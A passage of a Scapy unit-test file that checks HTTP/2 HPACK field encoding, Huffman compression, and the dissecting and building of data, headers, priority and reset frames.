'Trivial Packet'\n    fields_desc= [\n        f,\n        StrField('data', '')\n    ]\n\nassert f.i2m(TrivialPacket(data='a'*5), None) == b'\\x05'\nassert f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\\xff\\x00'\nassert f.i2m(TrivialPacket(data='a'), 2) == b'\\x02'\nassert f.i2m(None, 2) == b'\\x02'\nassert f.i2m(None, 0) == b'\\x00'\n\n= HTTP/2 FieldUVarLenField.i2m with adjustment\n~ http2 frame field fielduvarlenfield\n\nclass TrivialPacket(Packet):\n    name = 'Trivial Packet'\n    fields_desc= [\n        f,\n        StrField('data', '')\n    ]\n\nf = h2.FieldUVarLenField('value', None, 8, length_of='data', adjust=lambda x: x-1)\nassert f.i2m(TrivialPacket(data='a'*5), None) == b'\\x04'\nassert f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\\xfe'\n#Adjustment does not affect non-None value!\nassert f.i2m(TrivialPacket(data='a'*3), 2) == b'\\x02'\n\n+ HTTP/2 HPackZString Test Suite\n\n= HTTP/2 HPackZString Compression\n~ http2 hpack huffman\n\nstring = 'Test'\ns = h2.HPackZString(string)\nassert len(s) == 3\nassert raw(s) == b\"\\xdeT'\"\nassert s.origin() == string\n\nstring = 'a'*65535\ns = h2.HPackZString(string)\nassert len(s) == 40960\nassert raw(s) == (b'\\x18\\xc61\\x8cc' * 8191) + b'\\x18\\xc61\\x8c\\x7f'\nassert s.origin() == string\n\n= HTTP/2 HPackZString Decompression\n~ http2 hpack huffman\n\ns = b\"\\xdeT'\"\ni, ibl = h2.HPackZString.huffman_conv2bitstring(s)\nassert b'Test' == h2.HPackZString.huffman_decode(i, ibl)\n\ns = (b'\\x18\\xc61\\x8cc' * 8191) + b'\\x18\\xc61\\x8c\\x7f'\ni, ibl = h2.HPackZString.huffman_conv2bitstring(s)\nassert b'a'*65535 == h2.HPackZString.huffman_decode(i, ibl)\n\nassert(\n    expect_exception(h2.InvalidEncodingException,\n    'h2.HPackZString.huffman_decode(*h2.HPackZString.huffman_conv2bitstring(b\"\\\\xdeT\"))')\n)\n\n+ HTTP/2 HPackStrLenField Test Suite\n\n= HTTP/2 HPackStrLenField.m2i\n~ http2 hpack field hpackstrlenfield\n\nf = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')\nclass TrivialPacket(Packet):\n    name = 'Trivial Packet'\n    fields_desc = [\n        IntField('type', None),\n        IntField('len', None),\n        f\n    ]\n\ns = f.m2i(TrivialPacket(type=0, len=4), b'Test')\nassert isinstance(s, h2.HPackLiteralString)\nassert s.origin() == 'Test'\n\ns = f.m2i(TrivialPacket(type=1, len=3), b\"\\xdeT'\")\nassert isinstance(s, h2.HPackZString)\nassert s.origin() == 'Test'\n\n= HTTP/2 HPackStrLenField.any2i\n~ http2 hpack field hpackstrlenfield\n\nf = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')\nclass TrivialPacket(Packet):\n    name = 'Trivial Packet'\n    fields_desc = [\n        IntField('type', None),\n        IntField('len', None),\n        f\n    ]\n\ns = f.any2i(TrivialPacket(type=0, len=4), b'Test')\nassert isinstance(s, h2.HPackLiteralString)\nassert s.origin() == 'Test'\n\ns = f.any2i(TrivialPacket(type=1, len=3), b\"\\xdeT'\")\nassert isinstance(s, h2.HPackZString)\nassert s.origin() == 'Test'\n\ns = h2.HPackLiteralString('Test')\ns2 = f.any2i(TrivialPacket(type=0, len=4), s)\nassert s.origin() == s2.origin()\n\ns = h2.HPackZString('Test')\ns2 = f.any2i(TrivialPacket(type=1, len=3), s)\nassert s.origin() == s2.origin()\n\ns = h2.HPackLiteralString('Test')\ns2 = f.any2i(None, s)\nassert s.origin() == s2.origin()\n\ns = h2.HPackZString('Test')\ns2 = f.any2i(None, s)\nassert s.origin() == s2.origin()\n\n# Verifies that one can fuzz\ns = h2.HPackLiteralString('Test')\ns2 = f.any2i(TrivialPacket(type=1, len=1), s)\nassert s.origin() == s2.origin()\n\n= HTTP/2 HPackStrLenField.i2m\n~ http2 hpack field hpackstrlenfield\n\nf = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')\n\ns = b'Test'\ns2 = f.i2m(None, h2.HPackLiteralString(s))\nassert s == s2\n\ns = b'Test'\ns2 = f.i2m(None, h2.HPackZString(s))\nassert s2 == b\"\\xdeT'\"\n\n= HTTP/2 HPackStrLenField.addfield\n~ http2 hpack field hpackstrlenfield\n\nf = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')\n\ns = b'Test'\ns2 = f.addfield(None, b'Toto', h2.HPackLiteralString(s))\nassert b'Toto' + s == s2\n\ns = b'Test'\ns2 = f.addfield(None, b'Toto', h2.HPackZString(s))\nassert s2 == b\"Toto\\xdeT'\"\n\n= HTTP/2 HPackStrLenField.getfield\n~ http2 hpack field hpackstrlenfield\n\nf = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')\nclass TrivialPacket(Packet):\n    name = 'Trivial Packet'\n    fields_desc = [\n        IntField('type', None),\n        IntField('len', None),\n        f\n    ]\n\nr = f.getfield(TrivialPacket(type=0, len=4), b'TestToto')\nassert isinstance(r, tuple)\nassert r[0] == b'Toto'\nassert isinstance(r[1], h2.HPackLiteralString)\nassert r[1].origin() == 'Test'\n\nr = f.getfield(TrivialPacket(type=1, len=3), b\"\\xdeT'Toto\")\nassert isinstance(r, tuple)\nassert r[0] == b'Toto'\nassert isinstance(r[1], h2.HPackZString)\nassert r[1].origin() == 'Test'\n\n= HTTP/2 HPackStrLenField.i2h / i2repr\n~ http2 hpack field hpackstrlenfield\n\nf = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')\n\ns = b'Test'\nassert f.i2h(None, h2.HPackLiteralString(s)) == 'HPackLiteralString(Test)'\nassert f.i2repr(None, h2.HPackLiteralString(s)) == repr('HPackLiteralString(Test)')\n\nassert f.i2h(None, h2.HPackZString(s)) == 'HPackZString(Test)'\nassert f.i2repr(None, h2.HPackZString(s)) == repr('HPackZString(Test)')\n\n= HTTP/2 HPackStrLenField.i2len\n~ http2 hpack field hpackstrlenfield\n\nf = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')\n\ns = b'Test'\nassert f.i2len(None, h2.HPackLiteralString(s)) == 4\nassert f.i2len(None, h2.HPackZString(s)) == 3\n\n+ HTTP/2 HPackMagicBitField Test Suite\n# Magic bits are not supposed to be modified and if they are anyway, they must\n# be assigned the magic|default value only...\n\n= HTTP/2 HPackMagicBitField.addfield\n~ http2 hpack field hpackmagicbitfield\n\nf = h2.HPackMagicBitField('value', 3, 2)\nr = f.addfield(None, b'Toto', 3)\nassert isinstance(r, tuple)\nassert r[0] == b'Toto'\nassert r[1] == 2\nassert r[2] == 3\n\nr = f.addfield(None, (b'Toto', 2, 1) , 3)\nassert isinstance(r, tuple)\nassert r[0] == b'Toto'\nassert r[1] == 4\nassert r[2] == 7\n\nassert expect_exception(AssertionError, 'f.addfield(None, \"toto\", 2)')\n\n= HTTP/2 HPackMagicBitField.getfield\n~ http2 hpack field hpackmagicbitfield\n\nf = h2.HPackMagicBitField('value', 3, 2)\n\nr = f.getfield(None, b'\\xc0')\nassert isinstance(r, tuple)\nassert len(r) == 2\nassert isinstance(r[0], tuple)\nassert len(r[0]) == 2\nassert r[0][0] == b'\\xc0'\nassert r[0][1] == 2\nassert r[1] == 3\n\nr = f.getfield(None, (b'\\x03', 6))\nassert isinstance(r, tuple)\nassert len(r) == 2\nassert isinstance(r[0], bytes)\nassert r[0] == b''\nassert r[1] == 3\n\nexpect_exception(AssertionError, 'f.getfield(None, b\"\\\\x80\")')\n\n= HTTP/2 HPackMagicBitField.h2i\n~ http2 hpack field hpackmagicbitfield\n\nf = h2.HPackMagicBitField('value', 3, 2)\nassert f.h2i(None, 3) == 3\nexpect_exception(AssertionError, 'f.h2i(None, 2)')\n\n= HTTP/2 HPackMagicBitField.m2i\n~ http2 hpack field hpackmagicbitfield\n\nf = h2.HPackMagicBitField('value', 3, 2)\nassert f.m2i(None, 3) == 3\nexpect_exception(AssertionError, 'f.m2i(None, 2)')\n\n= HTTP/2 HPackMagicBitField.i2m\n~ http2 hpack field hpackmagicbitfield\n\nf = h2.HPackMagicBitField('value', 3, 2)\nassert f.i2m(None, 3) == 3\nexpect_exception(AssertionError, 'f.i2m(None, 2)')\n\n= HTTP/2 HPackMagicBitField.any2i\n~ http2 hpack field hpackmagicbitfield\n\nf = h2.HPackMagicBitField('value', 3, 2)\nassert f.any2i(None, 3) == 3\nexpect_exception(AssertionError, 'f.any2i(None, 2)')\n\n+ HTTP/2 HPackHdrString Test Suite\n\n= HTTP/2 Dissect HPackHdrString\n~ http2 pack dissect hpackhdrstring\n\np = h2.HPackHdrString(b'\\x04Test')\nassert p.type == 0\nassert p.len == 4\nassert isinstance(p.getfieldval('data'), h2.HPackLiteralString)\nassert p.getfieldval('data').origin() == 'Test'\n\np = h2.HPackHdrString(b\"\\x83\\xdeT'\")\nassert p.type == 1\nassert p.len == 3\nassert isinstance(p.getfieldval('data'), h2.HPackZString)\nassert p.getfieldval('data').origin() == 'Test'\n\n= HTTP/2 Build HPackHdrString\n~ http2 hpack build hpackhdrstring\n\np = h2.HPackHdrString(data=h2.HPackLiteralString('Test'))\nassert raw(p) == b'\\x04Test'\n\np = h2.HPackHdrString(data=h2.HPackZString('Test'))\nassert raw(p) == b\"\\x83\\xdeT'\"\n\n#Fuzzing-able tests\np = h2.HPackHdrString(type=1, len=3, data=h2.HPackLiteralString('Test'))\nassert raw(p) == b'\\x83Test'\n\n+ HTTP/2 HPackIndexedHdr Test Suite\n\n= HTTP/2 Dissect HPackIndexedHdr\n~ http2 hpack dissect hpackindexedhdr\n\np = h2.HPackIndexedHdr(b'\\x80')\nassert p.magic == 1\nassert p.index == 0\n\np = h2.HPackIndexedHdr(b'\\xFF\\x00')\nassert p.magic == 1\nassert p.index == 127\n\n= HTTP/2 Build HPackIndexedHdr\n~ http2 hpack build hpackindexedhdr\n\np = h2.HPackIndexedHdr(index=0)\nassert raw(p) == b'\\x80'\n\np = h2.HPackIndexedHdr(index=127)\nassert raw(p) == b'\\xFF\\x00'\n\n+ HTTP/2 HPackLitHdrFldWithIncrIndexing Test Suite\n\n= HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing without indexed name\n~ http2 hpack dissect hpacklithdrfldwithincrindexing\n\np = h2.HPackLitHdrFldWithIncrIndexing(b'\\x40\\x04Test\\x04Toto')\nassert p.magic == 1\nassert p.index == 0\nassert isinstance(p.hdr_name, h2.HPackHdrString)\nassert p.hdr_name.type == 0\nassert p.hdr_name.len == 4\nassert p.hdr_name.getfieldval('data').origin() == 'Test'\nassert isinstance(p.hdr_value, h2.HPackHdrString)\nassert p.hdr_value.type == 0\nassert p.hdr_value.len == 4\nassert p.hdr_value.getfieldval('data').origin() == 'Toto'\n\n= HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing with indexed name\n~ http2 hpack dissect hpacklithdrfldwithincrindexing\n\np = h2.HPackLitHdrFldWithIncrIndexing(b'\\x41\\x04Toto')\nassert p.magic == 1\nassert p.index == 1\nassert p.hdr_name is None\nassert isinstance(p.hdr_value, h2.HPackHdrString)\nassert p.hdr_value.type == 0\nassert p.hdr_value.len == 4\nassert p.hdr_value.getfieldval('data').origin() == 'Toto'\n\n\n= HTTP/2 Build HPackLitHdrFldWithIncrIndexing without indexed name\n~ http2 hpack build hpacklithdrfldwithincrindexing\n\np = h2.HPackLitHdrFldWithIncrIndexing(\n    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')),\n    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))\n)\nassert raw(p) == b'\\x40\\x04Test\\x04Toto'\n\n= HTTP/2 Build HPackLitHdrFldWithIncrIndexing with indexed name\n~ http2 hpack build hpacklithdrfldwithincrindexing\n\np = h2.HPackLitHdrFldWithIncrIndexing(\n    index=1,\n    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))\n)\nassert raw(p) == b'\\x41\\x04Toto'\n\n+ HTTP/2 HPackLitHdrFldWithoutIndexing Test Suite\n\n= HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : don't index and no index\n~ http2 hpack dissect hpacklithdrfldwithoutindexing\n\np = h2.HPackLitHdrFldWithoutIndexing(b'\\x00\\x04Test\\x04Toto')\nassert p.magic == 0\nassert p.never_index == 0\nassert p.index == 0\nassert isinstance(p.hdr_name, h2.HPackHdrString)\nassert p.hdr_name.type == 0\nassert p.hdr_name.len == 4\nassert isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString)\nassert p.hdr_name.getfieldval('data').origin() == 'Test'\nassert isinstance(p.hdr_value, h2.HPackHdrString)\nassert p.hdr_value.type == 0\nassert p.hdr_value.len == 4\nassert isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)\nassert p.hdr_value.getfieldval('data').origin() == 'Toto'\n\n= HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index index and no index\n~ http2 hpack dissect hpacklithdrfldwithoutindexing\n\np = h2.HPackLitHdrFldWithoutIndexing(b'\\x10\\x04Test\\x04Toto')\nassert p.magic == 0\nassert p.never_index == 1\nassert p.index == 0\nassert isinstance(p.hdr_name, h2.HPackHdrString)\nassert p.hdr_name.type == 0\nassert p.hdr_name.len == 4\nassert isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString)\nassert p.hdr_name.getfieldval('data').origin() == 'Test'\nassert isinstance(p.hdr_value, h2.HPackHdrString)\nassert p.hdr_value.type == 0\nassert p.hdr_value.len == 4\nassert isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)\nassert p.hdr_value.getfieldval('data').origin() == 'Toto'\n\n= HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index and indexed name\n~ http2 hpack dissect hpacklithdrfldwithoutindexing\n\np = h2.HPackLitHdrFldWithoutIndexing(b'\\x11\\x04Toto')\nassert p.magic == 0\nassert p.never_index == 1\nassert p.index == 1\nassert p.hdr_name is None\nassert isinstance(p.hdr_value, h2.HPackHdrString)\nassert p.hdr_value.type == 0\nassert p.hdr_value.len == 4\nassert isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString)\nassert p.hdr_value.getfieldval('data').origin() == 'Toto'\n\n= HTTP/2 Build HPackLitHdrFldWithoutIndexing : don't index and no index\n~ http2 hpack build hpacklithdrfldwithoutindexing\n\np = h2.HPackLitHdrFldWithoutIndexing(\n    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')),\n    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))\n)\nassert raw(p) == b'\\x00\\x04Test\\x04Toto'\n\n= HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index index and no index\n~ http2 hpack build hpacklithdrfldwithoutindexing\n\np = h2.HPackLitHdrFldWithoutIndexing(\n    never_index=1,\n    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')),\n    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))\n)\nassert raw(p) == b'\\x10\\x04Test\\x04Toto'\n\n= HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index and indexed name\n~ http2 hpack build hpacklithdrfldwithoutindexing\n\np = h2.HPackLitHdrFldWithoutIndexing(\n    never_index=1,\n    index=1,\n    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))\n)\nassert raw(p) == b'\\x11\\x04Toto'\n\n+ HTTP/2 HPackDynamicSizeUpdate Test Suite\n\n= HTTP/2 Dissect HPackDynamicSizeUpdate\n~ http2 hpack dissect hpackdynamicsizeupdate\n\np = h2.HPackDynamicSizeUpdate(b'\\x25')\nassert p.magic == 1\nassert p.max_size == 5\np = h2.HPackDynamicSizeUpdate(b'\\x3F\\x00')\nassert p.magic == 1\nassert p.max_size == 31\n\n= HTTP/2 Build HPackDynamicSizeUpdate\n~ http2 hpack build hpackdynamicsizeupdate\n\np = h2.HPackDynamicSizeUpdate(max_size=5)\nassert raw(p) == b'\\x25'\np = h2.HPackDynamicSizeUpdate(max_size=31)\nassert raw(p) == b'\\x3F\\x00'\n\n+ HTTP/2 Data Frame Test Suite\n\n= HTTP/2 Dissect Data Frame: Simple data frame\n~ http2 frame dissect data\n\npkt = h2.H2Frame(b'\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x01ABCD')\nassert pkt.type == 0\nassert pkt.len == 4\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2DataFrame)\nassert pkt[h2.H2DataFrame]\nassert pkt.payload.data == b'ABCD'\nassert isinstance(pkt.payload.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Data Frame: Simple data frame\n~ http2 frame build data\n\npkt = h2.H2Frame(stream_id = 1)/h2.H2DataFrame(data='ABCD')\nassert raw(pkt) == b'\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x01ABCD'\ntry:\n    pkt.show2(dump=True)\n    assert True\nexcept Exception:\n    assert False\n\n= HTTP/2 Dissect Data Frame: Simple data frame with padding\n~ http2 frame dissect data\n\npkt = h2.H2Frame(b'\\x00\\x00\\r\\x00\\x08\\x00\\x00\\x00\\x01\\x08ABCD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00') #Padded data frame\nassert pkt.type == 0\nassert pkt.len == 13\nassert len(pkt.flags) ==  1\nassert 'P' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2PaddedDataFrame)\nassert pkt[h2.H2PaddedDataFrame]\nassert pkt.payload.padlen == 8\nassert pkt.payload.data == b'ABCD'\nassert pkt.payload.padding == b'\\x00'*8\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert isinstance(pkt.payload.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Data Frame: Simple data frame with padding\n~ http2 frame build data\n\npkt = h2.H2Frame(flags = {'P'}, stream_id = 1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\\x00'*8)\nassert raw(pkt) == b'\\x00\\x00\\r\\x00\\x08\\x00\\x00\\x00\\x01\\x08ABCD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ntry:\n    pkt.show2(dump=True)\n    assert True\nexcept Exception:\n    assert False\n\n= HTTP/2 Dissect Data Frame: Simple data frame with padding and end stream flag\n~ http2 frame dissect data\n\npkt = h2.H2Frame(b'\\x00\\x00\\r\\x00\\t\\x00\\x00\\x00\\x01\\x08ABCD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00') #Padded data frame with end stream flag\nassert pkt.type == 0\nassert pkt.len == 13\nassert len(pkt.flags) == 2\nassert 'P' in pkt.flags\nassert 'ES' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2PaddedDataFrame)\nassert pkt[h2.H2PaddedDataFrame]\nassert pkt.payload.padlen == 8\nassert pkt.payload.data == b'ABCD'\nassert pkt.payload.padding == b'\\x00'*8\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert isinstance(pkt.payload.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Data Frame: Simple data frame with padding and end stream flag\n~ http2 frame build data\n\npkt = h2.H2Frame(flags = {'P', 'ES'}, stream_id=1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\\x00'*8)\nassert raw(pkt) == b'\\x00\\x00\\r\\x00\\t\\x00\\x00\\x00\\x01\\x08ABCD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ntry:\n    pkt.show2(dump=True)\n    assert True\nexcept Exception:\n    assert False\n\n+ HTTP/2 Headers Frame Test Suite\n\n= HTTP/2 Dissect Headers Frame: Simple header frame\n~ http2 frame dissect headers\n\npkt = h2.H2Frame(b'\\x00\\x00\\x0e\\x01\\x00\\x00\\x00\\x00\\x01\\x88\\x0f\\x10\\ntext/plain') #Header frame\nassert pkt.type == 1\nassert pkt.len == 14\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2HeadersFrame)\nassert pkt[h2.H2HeadersFrame]\nhf = pkt[h2.H2HeadersFrame]\nassert len(hf.hdrs) == 2\nassert isinstance(hf.hdrs[0], h2.HPackIndexedHdr)\nassert hf.hdrs[0].magic == 1\nassert hf.hdrs[0].index == 8\nassert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)\nassert hf.hdrs[1].magic == 0\nassert hf.hdrs[1].never_index == 0\nassert hf.hdrs[1].index == 31\nassert hf.hdrs[1].hdr_name is None\nassert expect_exception(AttributeError, 'hf.hdrs[1].non_existant')\nassert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)\ns = hf.hdrs[1].hdr_value\nassert s.type == 0\nassert s.len == 10\nassert s.getfieldval('data').origin() == 'text/plain'\nassert isinstance(hf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Headers Frame: Simple header frame\n~ http2 frame build headers\n\np = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[\n        h2.HPackIndexedHdr(index=8),\n        h2.HPackLitHdrFldWithoutIndexing(\n            index=31,\n            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))\n        )\n    ]\n)\nassert raw(p) == b'\\x00\\x00\\x0e\\x01\\x00\\x00\\x00\\x00\\x01\\x88\\x0f\\x10\\ntext/plain'\n\n= HTTP/2 Dissect Headers Frame: Header frame with padding\n~ http2 frame dissect headers\n\npkt = h2.H2Frame(b'\\x00\\x00\\x17\\x01\\x08\\x00\\x00\\x00\\x01\\x08\\x88\\x0f\\x10\\ntext/plain\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00') #Header frame with padding\nassert pkt.type == 1\nassert pkt.len == 23\nassert len(pkt.flags) == 1\nassert 'P' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2PaddedHeadersFrame)\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert pkt[h2.H2PaddedHeadersFrame]\nhf = pkt[h2.H2PaddedHeadersFrame]\nassert hf.padlen == 8\nassert hf.padding == b'\\x00' * 8\nassert len(hf.hdrs) == 2\nassert isinstance(hf.hdrs[0], h2.HPackIndexedHdr)\nassert hf.hdrs[0].magic == 1\nassert hf.hdrs[0].index == 8\nassert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)\nassert hf.hdrs[1].magic == 0\nassert hf.hdrs[1].never_index == 0\nassert hf.hdrs[1].index == 31\nassert hf.hdrs[1].hdr_name is None\nassert expect_exception(AttributeError, 'hf.hdrs[1].non_existant')\nassert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)\ns = hf.hdrs[1].hdr_value\nassert s.type == 0\nassert s.len == 10\nassert s.getfieldval('data').origin() == 'text/plain'\nassert isinstance(hf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Headers Frame: Header frame with padding\n~ http2 frame build headers\n\np = h2.H2Frame(flags={'P'}, stream_id=1)/h2.H2PaddedHeadersFrame(\n    hdrs=[\n        h2.HPackIndexedHdr(index=8),\n        h2.HPackLitHdrFldWithoutIndexing(\n            index=31,\n            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))\n        )\n    ],\n    padding=b'\\x00'*8,\n)\nassert raw(p) == b'\\x00\\x00\\x17\\x01\\x08\\x00\\x00\\x00\\x01\\x08\\x88\\x0f\\x10\\ntext/plain\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= HTTP/2 Dissect Headers Frame: Header frame with priority\n~ http2 frame dissect headers\n\npkt = h2.H2Frame(b'\\x00\\x00\\x13\\x01 \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02d\\x88\\x0f\\x10\\ntext/plain') #Header frame with priority\nassert pkt.type == 1\nassert pkt.len == 19\nassert len(pkt.flags) == 1\nassert '+' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2PriorityHeadersFrame)\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert pkt[h2.H2PriorityHeadersFrame]\nhf = pkt[h2.H2PriorityHeadersFrame]\nassert hf.exclusive == 0\nassert hf.stream_dependency == 2\nassert hf.weight == 100\nassert len(hf.hdrs) == 2\nassert isinstance(hf.hdrs[0], h2.HPackIndexedHdr)\nassert hf.hdrs[0].magic == 1\nassert hf.hdrs[0].index == 8\nassert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)\nassert hf.hdrs[1].magic == 0\nassert hf.hdrs[1].never_index == 0\nassert hf.hdrs[1].index == 31\nassert hf.hdrs[1].hdr_name is None\nassert expect_exception(AttributeError, 'hf.hdrs[1].non_existant')\nassert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)\ns = hf.hdrs[1].hdr_value\nassert s.type == 0\nassert s.len == 10\nassert s.getfieldval('data').origin() == 'text/plain'\nassert isinstance(hf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Headers Frame: Header frame with priority\n~ http2 frame build headers\n\np = h2.H2Frame(flags={'+'}, stream_id=1)/h2.H2PriorityHeadersFrame(\n    exclusive=0,\n    stream_dependency=2,\n    weight=100,\n    hdrs=[\n        h2.HPackIndexedHdr(index=8),\n        h2.HPackLitHdrFldWithoutIndexing(\n            index=31,\n            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))\n        )\n    ]\n)\nassert raw(p) == b'\\x00\\x00\\x13\\x01 \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02d\\x88\\x0f\\x10\\ntext/plain'\n\n= HTTP/2 Dissect Headers Frame: Header frame with priority and padding and flags\n~ http2 frame dissect headers\n\npkt = h2.H2Frame(b'\\x00\\x00\\x1c\\x01-\\x00\\x00\\x00\\x01\\x08\\x00\\x00\\x00\\x02d\\x88\\x0f\\x10\\ntext/plain\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00') #Header frame with priority and padding and flags ES|EH\nassert pkt.type == 1\nassert pkt.len == 28\nassert len(pkt.flags) == 4\nassert '+' in pkt.flags\nassert 'P' in pkt.flags\nassert 'ES' in pkt.flags\nassert 'EH' in pkt.flags\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2PaddedPriorityHeadersFrame)\nassert flags_bit_pattern.search(pkt.show(dump=True)) is None\nassert pkt[h2.H2PaddedPriorityHeadersFrame]\nhf = pkt[h2.H2PaddedPriorityHeadersFrame]\nassert hf.padlen == 8\nassert hf.padding == b'\\x00' * 8\nassert hf.exclusive == 0\nassert hf.stream_dependency == 2\nassert hf.weight == 100\nassert len(hf.hdrs) == 2\nassert isinstance(hf.hdrs[0], h2.HPackIndexedHdr)\nassert hf.hdrs[0].magic == 1\nassert hf.hdrs[0].index == 8\nassert isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing)\nassert hf.hdrs[1].magic == 0\nassert hf.hdrs[1].never_index == 0\nassert hf.hdrs[1].index == 31\nassert hf.hdrs[1].hdr_name is None\nassert expect_exception(AttributeError, 'hf.hdrs[1].non_existant')\nassert isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString)\ns = hf.hdrs[1].hdr_value\nassert s.type == 0\nassert s.len == 10\nassert s.getfieldval('data').origin() == 'text/plain'\nassert isinstance(hf.payload, scapy.packet.NoPayload)\n\n= HTTP/2 Build Headers Frame: Header frame with priority and padding and flags\n~ http2 frame build headers\n\np = h2.H2Frame(flags={'P', '+', 'ES', 'EH'}, stream_id=1)/h2.H2PaddedPriorityHeadersFrame(\n    exclusive=0,\n    stream_dependency=2,\n    weight=100,\n    padding=b'\\x00'*8,\n    hdrs=[\n        h2.HPackIndexedHdr(index=8),\n        h2.HPackLitHdrFldWithoutIndexing(\n            index=31,\n            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))\n        )\n    ]\n)\n\n+ HTTP/2 Priority Frame Test Suite\n\n= HTTP/2 Dissect Priority Frame\n~ http2 frame dissect priority\n\npkt = h2.H2Frame(b'\\x00\\x00\\x05\\x02\\x00\\x00\\x00\\x00\\x03\\x80\\x00\\x00\\x01d')\nassert pkt.type == 2\nassert pkt.len == 5\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 3\nassert isinstance(pkt.payload, h2.H2PriorityFrame)\nassert pkt[h2.H2PriorityFrame]\npp = pkt[h2.H2PriorityFrame]\nassert pp.stream_dependency == 1\nassert pp.exclusive == 1\nassert pp.weight == 100\n\n= HTTP/2 Build Priority Frame\n~ http2 frame build priority\n\np = h2.H2Frame(stream_id=3)/h2.H2PriorityFrame(\n    exclusive=1,\n    stream_dependency=1,\n    weight=100\n)\nassert raw(p) == b'\\x00\\x00\\x05\\x02\\x00\\x00\\x00\\x00\\x03\\x80\\x00\\x00\\x01d'\n\n+ HTTP/2 Reset Stream Frame Test Suite\n\n= HTTP/2 Dissect Reset Stream Frame: Protocol Error\n~ http2 frame dissect rststream\n\npkt = h2.H2Frame(b'\\x00\\x00\\x04\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01') #Reset stream with protocol error\nassert pkt.type == 3\nassert pkt.len == 4\nassert len(pkt.flags) == 0\nassert pkt.reserved == 0\nassert pkt.stream_id == 1\nassert isinstance(pkt.payload, h2.H2ResetFrame)\nassert 